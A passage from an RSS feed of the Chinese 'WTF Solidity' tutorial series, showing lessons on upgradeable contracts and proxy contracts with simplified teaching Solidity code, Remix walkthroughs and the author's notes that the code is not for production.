xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-link h-3 w-3 my-auto inline mr-1"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>https://forum.safe.global</span></div><img src="https://storage.googleapis.com/papyrus_images/59b4401ffed8a4e52cbbaad0ab243ee19e300376084a1cd1f779ef775cba354e.png"/></div></a></div></div>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
        </item>
        <item>
            <title><![CDATA[WTF Solidity极简入门: 47. 可升级合约]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-47</link>
            <guid>AeaVPVz7ovmWEdbRs6cD</guid>
            <pubDate>Sun, 04 Sep 2022 05:07:16 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：所有代所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍可升级合约（Upgradeable Contract）。教学用的合约由openzepplin中的合约简化而来，可能有安全问题，不应用于生产环境。可升级合约如果你理解了代理合约，就很容易理解可升级合约。它是一个可以更改逻辑合约的代理合约。简单实现下面我们实现一个简单的可升级合约，它包含3个合约：代理合约，旧的逻辑合约，和新的逻辑合约。代理合约这个代理合约比第46讲中的简单。我们没有在它的fallback()函数中使用内联汇编，而仅仅用了implementation.delegatecall(msg.data);。因此，回调函数没有返回值，但足够...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：所有代所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍可升级合约（Upgradeable Contract）。教学用的合约由<code>openzepplin</code>中的合约简化而来，可能有安全问题，不应用于生产环境。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">可升级合约</h2><p>如果你理解了代理合约，就很容易理解可升级合约。它是一个可以更改逻辑合约的代理合约。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/c112cef9bf45aa854b522087561ef0b3753c6b8e5f2b10205dcce80f5d9e519a.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">简单实现</h2><p>下面我们实现一个简单的可升级合约，它包含<code>3</code>个合约：代理合约，旧的逻辑合约，和新的逻辑合约。</p><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">代理合约</h3><p>这个代理合约比第46讲中的简单。我们没有在它的<code>fallback()</code>函数中使用<code>内联汇编</code>，而仅仅用了<code>implementation.delegatecall(msg.data);</code>。因此，回调函数没有返回值，但足够教学使用了。</p><p>它包含<code>3</code>个变量：</p><ul><li><p><code>implementation</code>：逻辑合约地址。</p></li><li><p><code>admin</code>：admin地址。</p></li><li><p><code>words</code>：字符串，可以通过逻辑合约的函数改变。</p></li></ul><p>它包含<code>3</code>个函数</p><ul><li><p>构造函数：初始化admin和逻辑合约地址。</p></li><li><p><code>fallback()</code>：回调函数，将调用委托给逻辑合约</p></li><li><p><code>upgrade()</code>：升级函数，改变逻辑合约地址，只能由<code>admin</code>调用</p></li></ul><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
// wtf.academy
pragma solidity ^0.8.4;

// 简单的可升级合约，管理员可以通过升级函数更改逻辑合约地址，从而改变合约的逻辑。
// 教学演示用，不要用在生产环境
contract SimpleUpgrade {
    address public implementation; // 逻辑合约地址
    address public admin; // admin地址
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 构造函数，初始化admin和逻辑合约地址
    constructor(address _implementation){
        admin = msg.sender;
        implementation = _implementation;
    }

    // fallback函数，将调用委托给逻辑合约
    fallback() external payable {
        (bool success, bytes memory data) = implementation.delegatecall(msg.data);
    }

    // 升级函数，改变逻辑合约地址，只能由admin调用
    function upgrade(address newImplementation) external {
        require(msg.sender == admin);
        implementation = newImplementation;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-comment">// wtf.academy</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.4;</span>

<span class="hljs-comment">// 简单的可升级合约，管理员可以通过升级函数更改逻辑合约地址，从而改变合约的逻辑。</span>
<span class="hljs-comment">// 教学演示用，不要用在生产环境</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SimpleUpgrade</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; <span class="hljs-comment">// 逻辑合约地址</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; <span class="hljs-comment">// admin地址</span>
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 构造函数，初始化admin和逻辑合约地址</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _implementation</span>)</span>{
        admin <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
        implementation <span class="hljs-operator">=</span> _implementation;
    }

    <span class="hljs-comment">// fallback函数，将调用委托给逻辑合约</span>
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        (<span class="hljs-keyword">bool</span> success, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data) <span class="hljs-operator">=</span> implementation.<span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">data</span>);
    }

    <span class="hljs-comment">// 升级函数，改变逻辑合约地址，只能由admin调用</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">upgrade</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> newImplementation</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> admin);
        implementation <span class="hljs-operator">=</span> newImplementation;
    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">旧逻辑合约</h3><p>这个逻辑合约包含<code>3</code>个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数<code>foo()</code>，将代理合约中的<code>wrods</code>的值改为<code>&quot;old&quot;</code>。</p><pre data-type="codeBlock" text="// 逻辑合约1
contract Logic1 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器： 0xc2985578
    function foo() public{
        words = &quot;old&quot;;
    }
}
"><code><span class="hljs-comment">// 逻辑合约1</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Logic1</span> </span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器： 0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"old"</span>;
    }
}
</code></pre><h3 id="h-" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">新逻辑合约</h3><p>这个逻辑合约包含<code>3</code>个状态变量，与保持代理合约一致，防止插槽冲突。它只有一个函数<code>foo()</code>，将代理合约中的<code>wrods</code>的值改为<code>&quot;new&quot;</code>。</p><pre data-type="codeBlock" text="// 逻辑合约2
contract Logic2 {
    // 状态变量和proxy合约一致，防止插槽冲突
    address public implementation; 
    address public admin; 
    string public words; // 字符串，可以通过逻辑合约的函数改变

    // 改变proxy中状态变量，选择器：0xc2985578
    function foo() public{
        words = &quot;new&quot;;
    }
}
"><code><span class="hljs-comment">// 逻辑合约2</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Logic2</span> </span>{
    <span class="hljs-comment">// 状态变量和proxy合约一致，防止插槽冲突</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; 
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> admin; 
    <span class="hljs-keyword">string</span> <span class="hljs-keyword">public</span> words; <span class="hljs-comment">// 字符串，可以通过逻辑合约的函数改变</span>

    <span class="hljs-comment">// 改变proxy中状态变量，选择器：0xc2985578</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">foo</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span></span>{
        words <span class="hljs-operator">=</span> <span class="hljs-string">"new"</span>;
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>实现</h2><ol><li><p>部署新旧逻辑合约<code>Logic1</code>和<code>Logic2</code>。</p></li><li><p>部署可升级合约<code>SimpleUpgrade</code>，将<code>implementation</code>地址指向把旧逻辑合约。</p></li><li><p>利用选择器<code>0xc2985578</code>，在代理合约中调用旧逻辑合约<code>Logic1</code>的<code>foo()</code>函数，将<code>wrods</code>的值改为<code>&quot;old&quot;</code>。</p></li><li><p>调用<code>upgrade()</code>，将<code>implementation</code>地址指向新逻辑合约<code>Logic2</code>。</p></li><li><p>利用选择器<code>0xc2985578</code>，在代理合约中调用新逻辑合约<code>Logic2</code>的<code>foo()</code>函数，将<code>wrods</code>的值改为<code>&quot;new&quot;</code>。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲，我们介绍了一个简单的可升级合约。它是一个可以改变逻辑合约的代理合约，给不可更改的智能合约增加了升级功能。但是，这个合约有<code>选择器冲突</code>的问题，存在安全隐患。之后我们会介绍解决这一隐患的可升级合约标准：透明代理和<code>UUPS</code>。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity极简入门: 46. 代理合约]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-46</link>
            <guid>HDd2POyQqZ7nNF1kbNSp</guid>
            <pubDate>Fri, 19 Aug 2022 04:31:49 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们介绍代理合约（Proxy Contract）。教学代码由OpenZepplin的Proxy合约简化而来。代理模式Solidity合约部署在链上之后，代码是不可变的（immutable）。这样既有优点，也有缺点：优点：安全，用户知道会发生什么（大部分时候）。坏处：就算合约中存在bug，也不能修改或升级，只能部署新合约。但是新合约的地址与旧的不一样，且合约的数据也需要花费大量gas进行迁移。有没有办法在合约部署后进行修改或升级呢？答案是有的，那就是代理模式。代理模式代理模式将合约数据和逻辑分开，分别保存在不同合约中。我们拿上图中简单的代理合约为例，数据（状态变量）存储在代理合约中，而逻辑（函数）保存在另一个逻辑合约中。代理合约（Pr...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们介绍代理合约（Proxy Contract）。教学代码由OpenZepplin的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol">Proxy合约</a>简化而来。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">代理模式</h2><p><code>Solidity</code>合约部署在链上之后，代码是不可变的（immutable）。这样既有优点，也有缺点：</p><ul><li><p>优点：安全，用户知道会发生什么（大部分时候）。</p></li><li><p>坏处：就算合约中存在bug，也不能修改或升级，只能部署新合约。但是新合约的地址与旧的不一样，且合约的数据也需要花费大量gas进行迁移。</p></li></ul><p>有没有办法在合约部署后进行修改或升级呢？答案是有的，那就是<strong>代理模式</strong>。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/5cf05328772c2a3bc36f0a26dab8b1b1066ee469ce6a4d805e0c5886b9c38cfa.png" alt="代理模式" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">代理模式</figcaption></figure><p>代理模式将合约数据和逻辑分开，分别保存在不同合约中。我们拿上图中简单的代理合约为例，数据（状态变量）存储在代理合约中，而逻辑（函数）保存在另一个逻辑合约中。代理合约（Proxy）通过<code>delegatecall</code>，将函数调用全权委托给逻辑合约（Implementation）执行，再把最终的结果返回给调用者（Caller）。</p><p>代理模式主要有两个好处：</p><ol><li><p>可升级：当我们需要升级合约的逻辑时，只需要将代理合约指向新的逻辑合约。</p></li><li><p>省gas：如果多个合约复用一套逻辑，我们只需部署一个逻辑合约，然后再部署多个只保存数据的代理合约，指向逻辑合约。</p></li></ol><p><strong>提示</strong>：对<code>delegatecall</code>不熟悉的朋友可以看下本教程<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/tree/main/23_Delegatecall">第23讲Delegatecall</a>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">代理合约</h2><p>下面我们介绍一个简单的代理合约，它由OpenZepplin的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol">Proxy合约</a>简化而来。它有三个部分：代理合约<code>Proxy</code>，逻辑合约<code>Logic</code>，和一个调用示例<code>Caller</code>。它的逻辑并不复杂：</p><ul><li><p>首先部署逻辑合约<code>Logic</code>。</p></li><li><p>创建代理合约<code>Proxy</code>，状态变量<code>implementation</code>记录<code>Logic</code>合约地址。</p></li><li><p><code>Proxy</code>合约利用回调函数<code>fallback</code>，将所有调用委托给<code>Logic</code>合约</p></li><li><p>最后部署调用示例<code>Caller</code>合约，调用<code>Proxy</code>合约。</p></li><li><p><strong>注意</strong>：<code>Logic</code>合约和<code>Proxy</code>合约的状态变量存储结构相同，不然<code>delegatecall</code>会产生意想不到的行为，有安全隐患。</p></li></ul><h3 id="h-proxy" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">代理合约<code>Proxy</code></h3><p><code>Proxy</code>合约不长，但是用到了内联汇编，因此比较难理解。它只有一个状态变量，一个构造函数，和一个回调函数。状态变量<code>implementation</code>，在构造函数中初始化，用于保存<code>Logic</code>合约地址。</p><pre data-type="codeBlock" text="contract Proxy {
    address public immutable implementation; // 逻辑合约地址。implementation合约同一个位置的状态变量类型必须和Proxy合约的相同，不然会报错。

    /**
     * @dev 初始化逻辑合约地址
     */
    constructor(address implementation_){
        implementation = implementation_;
    }
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Proxy</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> implementation; <span class="hljs-comment">// 逻辑合约地址。implementation合约同一个位置的状态变量类型必须和Proxy合约的相同，不然会报错。</span>

    <span class="hljs-comment">/**
     * @dev 初始化逻辑合约地址
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> implementation_</span>)</span>{
        implementation <span class="hljs-operator">=</span> implementation_;
    }
</code></pre><p><code>Proxy</code>的回调函数将外部对本合约的调用委托给 <code>Logic</code> 合约。这个回调函数很别致，它利用内联汇编（inline assembly），让本来不能有返回值的回调函数有了返回值。其中用到的内联汇编操作码：</p><ul><li><p><code>calldatacopy(t, f, s)</code>：将calldata（输入数据）从位置<code>f</code>开始复制<code>s</code>字节到mem（内存）的位置<code>t</code>。</p></li><li><p><code>delegatecall(g, a, in, insize, out, outsize)</code>：调用地址<code>a</code>的合约，输入为<code>mem[in..(in+insize))</code> ，输出为<code>mem[out..(out+outsize))</code>， 提供<code>g</code>的gas 和<code>v</code> wei的以太坊。这个操作码在错误时返回<code>0</code>，在成功时返回<code>1</code>。</p></li><li><p><code>returndatacopy(t, f, s)</code>：将returndata（输出数据）从位置<code>f</code>开始复制<code>s</code>字节到mem（内存）的位置<code>t</code>。</p></li><li><p><code>switch</code>：基础版<code>if/else</code>，不同的情况<code>case</code>返回不同值。可以有一个默认的<code>default</code>情况。</p></li><li><p><code>return(p, s)</code>：终止函数执行, 返回数据<code>mem[p..(p+s))</code>。</p></li><li><p><code>revert(p, s)</code>：终止函数执行, 回滚状态，返回数据<code>mem[p..(p+s))</code>。</p></li></ul><pre data-type="codeBlock" text="/**
* @dev 回调函数，将本合约的调用委托给 `implementation` 合约
* 通过assembly，让回调函数也能有返回值
*/
fallback() external payable {
    address _implementation = implementation;
    assembly {
        // 将msg.data拷贝到内存里
        // calldatacopy操作码的参数: 内存起始位置，calldata起始位置，calldata长度
        calldatacopy(0, 0, calldatasize())

        // 利用delegatecall调用implementation合约
        // delegatecall操作码的参数：gas, 目标合约地址，input mem起始位置，input mem长度，output area mem起始位置，output area mem长度
        // output area起始位置和长度位置，所以设为0
        // delegatecall成功返回1，失败返回0
        let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0)

        // 将return data拷贝到内存
        // returndata操作码的参数：内存起始位置，returndata起始位置，returndata长度
        returndatacopy(0, 0, returndatasize())

        switch result
        // 如果delegate call失败，revert
        case 0 {
            revert(0, returndatasize())
        }
        // 如果delegate call成功，返回mem起始位置为0，长度为returndatasize()的数据（格式为bytes）
        default {
            return(0, returndatasize())
        }
    }
}
"><code><span class="hljs-comment">/**
* @dev 回调函数，将本合约的调用委托给 `implementation` 合约
* 通过assembly，让回调函数也能有返回值
*/</span>
<span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-keyword">address</span> _implementation <span class="hljs-operator">=</span> implementation;
    <span class="hljs-keyword">assembly</span> {
        <span class="hljs-comment">// 将msg.data拷贝到内存里</span>
        <span class="hljs-comment">// calldatacopy操作码的参数: 内存起始位置，calldata起始位置，calldata长度</span>
        <span class="hljs-built_in">calldatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-built_in">calldatasize</span>())

        <span class="hljs-comment">// 利用delegatecall调用implementation合约</span>
        <span class="hljs-comment">// delegatecall操作码的参数：gas, 目标合约地址，input mem起始位置，input mem长度，output area mem起始位置，output area mem长度</span>
        <span class="hljs-comment">// output area起始位置和长度位置，所以设为0</span>
        <span class="hljs-comment">// delegatecall成功返回1，失败返回0</span>
        <span class="hljs-keyword">let</span> result <span class="hljs-operator">:=</span> <span class="hljs-built_in">delegatecall</span>(<span class="hljs-built_in">gas</span>(), _implementation, <span class="hljs-number">0</span>, <span class="hljs-built_in">calldatasize</span>(), <span class="hljs-number">0</span>, <span class="hljs-number">0</span>)

        <span class="hljs-comment">// 将return data拷贝到内存</span>
        <span class="hljs-comment">// returndata操作码的参数：内存起始位置，returndata起始位置，returndata长度</span>
        <span class="hljs-built_in">returndatacopy</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())

        <span class="hljs-keyword">switch</span> result
        <span class="hljs-comment">// 如果delegate call失败，revert</span>
        <span class="hljs-keyword">case</span> <span class="hljs-number">0</span> {
            <span class="hljs-keyword">revert</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())
        }
        <span class="hljs-comment">// 如果delegate call成功，返回mem起始位置为0，长度为returndatasize()的数据（格式为bytes）</span>
        <span class="hljs-keyword">default</span> {
            <span class="hljs-keyword">return</span>(<span class="hljs-number">0</span>, <span class="hljs-built_in">returndatasize</span>())
        }
    }
}
</code></pre><h3 id="h-logic" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">逻辑合约<code>Logic</code></h3><p>这是一个非常简单的逻辑合约，只是为了演示代理合约。它包含<code>2</code>个变量，<code>1</code>个事件，<code>1</code>个函数：</p><ul><li><p><code>implementation</code>：占位变量，与<code>Proxy</code>合约保持一致，防止插槽冲突。</p></li><li><p><code>x</code>：<code>uint</code>变量，被设置为<code>99</code>。</p></li><li><p><code>CallSuccess</code>事件：在调用成功时释放。</p></li><li><p><code>increment()</code>函数：会被<code>Proxy</code>合约调用，释放<code>CallSuccess</code>事件，并返回一个<code>uint</code>，它的<code>selector</code>为<code>0xd09de08a</code>。如果直接调用<code>increment()</code>回返回<code>100</code>，但是通过<code>Proxy</code>调用它会返回<code>1</code>，大家可以想想为什么？</p></li></ul><pre data-type="codeBlock" text="/**
 * @dev 逻辑合约，执行被委托的调用
 */
contract Logic {
    address public implementation; // 与Proxy保持一致，防止插槽冲突
    uint public x = 99; 
    event CallSuccess(); // 调用成功事件

    // 这个函数会释放CallSuccess事件并返回一个uint。
    // 函数selector: 0xd09de08a
    function increment() external returns(uint) {
        emit CallSuccess();
        return x + 1;
    }
}
"><code><span class="hljs-comment">/**
 * @dev 逻辑合约，执行被委托的调用
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Logic</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> implementation; <span class="hljs-comment">// 与Proxy保持一致，防止插槽冲突</span>
    <span class="hljs-keyword">uint</span> <span class="hljs-keyword">public</span> x <span class="hljs-operator">=</span> <span class="hljs-number">99</span>; 
    <span class="hljs-function"><span class="hljs-keyword">event</span> <span class="hljs-title">CallSuccess</span>(<span class="hljs-params"></span>)</span>; <span class="hljs-comment">// 调用成功事件</span>

    <span class="hljs-comment">// 这个函数会释放CallSuccess事件并返回一个uint。</span>
    <span class="hljs-comment">// 函数selector: 0xd09de08a</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">increment</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">emit</span> CallSuccess();
        <span class="hljs-keyword">return</span> x <span class="hljs-operator">+</span> <span class="hljs-number">1</span>;
    }
}
</code></pre><h3 id="h-caller" class="text-2xl font-header !mt-6 !mb-4 first:!mt-0 first:!mb-0">调用者合约<code>Caller</code></h3><p><code>Caller</code>合约会演示如何调用一个代理合约，它也非常简单。但是要理解它，你需要先学习本教程的<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/tree/main/22_Call/readme.md">第22讲 Call</a>和<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/tree/main/27_ABIEncode/readme.md">第27讲 ABI编码</a>。</p><p>它有<code>1</code>个变量，<code>2</code>个函数：</p><ul><li><p><code>proxy</code>：状态变量，记录代理合约地址。</p></li><li><p>构造函数：在部署合约时初始化<code>proxy</code>变量。</p></li><li><p><code>increase()</code>：利用<code>call</code>来调用代理合约的<code>increment()</code>函数，并返回一个<code>uint</code>。在调用时，我们利用<code>abi.encodeWithSignature()</code>获取了<code>increment()</code>函数的<code>selector</code>。在返回时，利用<code>abi.decode()</code>将返回值解码为<code>uint</code>类型。</p></li></ul><pre data-type="codeBlock" text="/**
 * @dev Caller合约，调用代理合约，并获取执行结果
 */
contract Caller{
    address public proxy; // 代理合约地址

    constructor(address proxy_){
        proxy = proxy_;
    }

    // 通过代理合约调用increment()函数
    function increment() external returns(uint) {
        ( , bytes memory data) = proxy.call(abi.encodeWithSignature(&quot;increment()&quot;));
        return abi.decode(data,(uint));
    }
}
"><code><span class="hljs-comment">/**
 * @dev Caller合约，调用代理合约，并获取执行结果
 */</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Caller</span></span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> proxy; <span class="hljs-comment">// 代理合约地址</span>

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> proxy_</span>)</span>{
        proxy <span class="hljs-operator">=</span> proxy_;
    }

    <span class="hljs-comment">// 通过代理合约调用increment()函数</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">increment</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        ( , <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> data) <span class="hljs-operator">=</span> proxy.<span class="hljs-built_in">call</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"increment()"</span>));
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">abi</span>.<span class="hljs-built_in">decode</span>(data,(<span class="hljs-keyword">uint</span>));
    }
}
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code>演示</h2><ol><li><p>部署<code>Logic</code>合约。</p></li><li><p>调用<code>Logic</code>合约的<code>increment()</code>函数，返回<code>100</code>。</p></li><li><p>部署<code>Proxy</code>合约，初始化时填入<code>Logic</code>合约地址。</p></li><li><p>调用<code>Proxy</code>合约<code>increment()</code>函数，无返回值。</p><p>调用方法：在<code>Remix</code>部署面板中点<code>Proxy</code>合约，在最下面的<code>Low level interaction</code>中填入<code>increment()</code>函数的选择器<code>0xd09de08a</code>，并点击<code>Transact</code>。</p></li><li><p>部署<code>Caller</code>合约，初始化时填入<code>Proxy</code>合约地址。</p></li><li><p>调用<code>Caller</code>合约<code>increment()</code>函数，返回<code>1</code>。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 